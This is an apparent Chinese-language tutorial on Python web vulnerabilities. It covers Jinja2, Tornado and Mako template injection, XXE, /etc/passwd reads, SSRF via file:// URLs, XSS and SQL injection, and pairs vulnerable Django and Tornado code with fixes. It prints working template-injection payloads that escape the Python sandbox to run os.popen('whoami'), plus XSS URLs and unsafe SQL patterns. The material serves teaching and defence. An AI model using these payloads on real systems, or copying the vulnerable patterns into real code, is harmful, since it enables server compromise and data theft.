Jinja2是Flask框架的一部分。Jinja2会把模板参数提供的相应的值替换了{{…}}块,只要使用到这个包的代码只要不注意处理都会照成漏洞,下面一django来举例

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from django.http import HttpResponse
from jinja2 import Template
# http://127.0.0.1:9999/api/test/?name={{11*10}}
def test(request):
name = request.GET["name"]
t = Template("Hello " + name)
return HttpResponse(t.render())
# 注入修复
# t = Template("Hello {{n}}")
# return t.render(n=name)

image-20220925200355896

然后我们可以利用之前上面所写的魔术方法方法来注入即可达成

# python2和python3通用代码
for c in ().__class__.__bases__[0].__subclasses__():
if c.__name__=='_IterationGuard':
c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

换成模板注入就是

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}

image-20220925200940851

或者换成__globals__模块来是用

{# python2和python3通用代码 #}
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("whoami").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

image-20220925201235467

Tornado

tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{…}}进行传递变量和执行简单的表达式。

import tornado.template
import tornado.ioloop
import tornado.web
TEMPLATE = '''
<html>
<head><title> Hello {{ name }} </title></head>
<body> Hello ascotbe </body>
</html>
'''
class MainHandler(tornado.web.RequestHandler):

def get(self):
name = self.get_argument('name', '')
template_data = TEMPLATE.replace("ascotbe",name)
t = tornado.template.Template(template_data)
self.write(t.generate(name=name))

application = tornado.web.Application([
(r"/", MainHandler),
], debug=True, static_path=None, template_path=None)

if __name__ == '__main__':
application.listen(8000)
tornado.ioloop.IOLoop.instance().start()

xss代码

http://127.0.0.1:8000/?name=hi%3Cimg%20src=1%20onerror=alert(%22xss%22);%3E

注入

http://127.0.0.1:8000/?name={%import os%}{{os.popen("whoami").read()}}

Mako

mako 本身可以完美支持 Python 语句,所以利用 <% %><%! %>${} 可以非常轻松地进行攻,还有进行结构控制的%for ... : %endfor%if ... : ... %elif: ... % else: ... %endif。自定义函数<%def name="..." > ... </%def>,调用:${...()}

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from django.http import HttpResponse
from mako.template import Template
# http://127.0.0.1:9999/api/test/?name={{11*10}}
def test(request):
name = request.GET["name"]
t = Template("Hello,"+name)
return HttpResponse(t.render())

进行代码执行,没有回显

<%__import__("os").system('whoami')%>
${__import__("os").system("whoami")}

XXE

对于XXE问题只需要设置resolve_entitiesFalse即可解决漏洞,如果没有设置的都能够执行命令

from lxml import etree
parser = etree.XMLParser(resolve_entities=False)
tree = etree.fromstring(xml,etree.XMLParser(resolve_entities=False))

任意文件读取

import codecs;codecs.open('/etc/passwd').read()
file('/etc/passwd').read()
open('/etc/passwd').read()

Server Side Request

重定向

是否默认跟随重定向

  • pycurl(不跟随)
  • urllib/urllib2/requests(跟随)

默认最大重定向次数

  • pycurl(未限制)
  • urllib/urllib2(10次)
  • requests(30次)

协议支持

  • urllib/urllib2:分别有协议类型http、https、ftp、file

    # python3
    from urllib import request
    a= request.urlopen('file:///etc/passwd')
    print(a.read())
    # python2
    import urllib
    import urllib2
    a=urllib.urlopen('file:///etc/passwd')
    print(a.read())
    b=urllib2.urlopen('file:///etc/passwd')
    print(b.read())
  • requests:分别有协议类型http、https、ftp

  • pycurl:分别有协议类型dict、file、ftp、ftps、gopher、http、https、imap、imaps、ldap、ldaps、pop3、pop3s、rtmp、rtsp、scp、sftp、smtp、smtps、telnet和tftp。libcurl支持ssl证书、http-post、http-put、ftp上传、基于http表单的上传、代理、cookie、用户+密码认证(basic、digest、ntlm、negotiate、kerberos4)、文件传输恢复、http代理隧道等

XSS

未对输入和输出做过滤,以Django举例

from django.http import HttpResponse
from django.shortcuts import render
# http://127.0.0.1:9999/api/test/?name=<video><source onerror="alert(1)">
def test(request):
name = request.GET['name']
return HttpResponse('hello %s' %(name))
# return render('hello.html', {'name':name}) # Django3以上正确的代码

SQL

安全的写法

stmt = "SELECT * FROM table WHERE id=?"
connection.execute(stmt, (value,))

不安全的写法

"SELECT * FROM table WHERE id=" + value
"SELECT * FROM table WHERE id=%s" % value
"SELECT * FROM table WHERE id={0}".format(value)

参考文章

https://hatboy.github.io/2018/04/19/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%80%BB%E7%BB%93/
https://github.com/bit4woo/python_sec
https://www.cnblogs.com/bmjoker/p/13508538.html
https://misakikata.github.io/2020/04/python-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
https://www.cnblogs.com/damoxilai/p/16707055.html
https://mp.weixin.qq.com/s/Tb2e_2ihuMP3mWtrPtuFUQ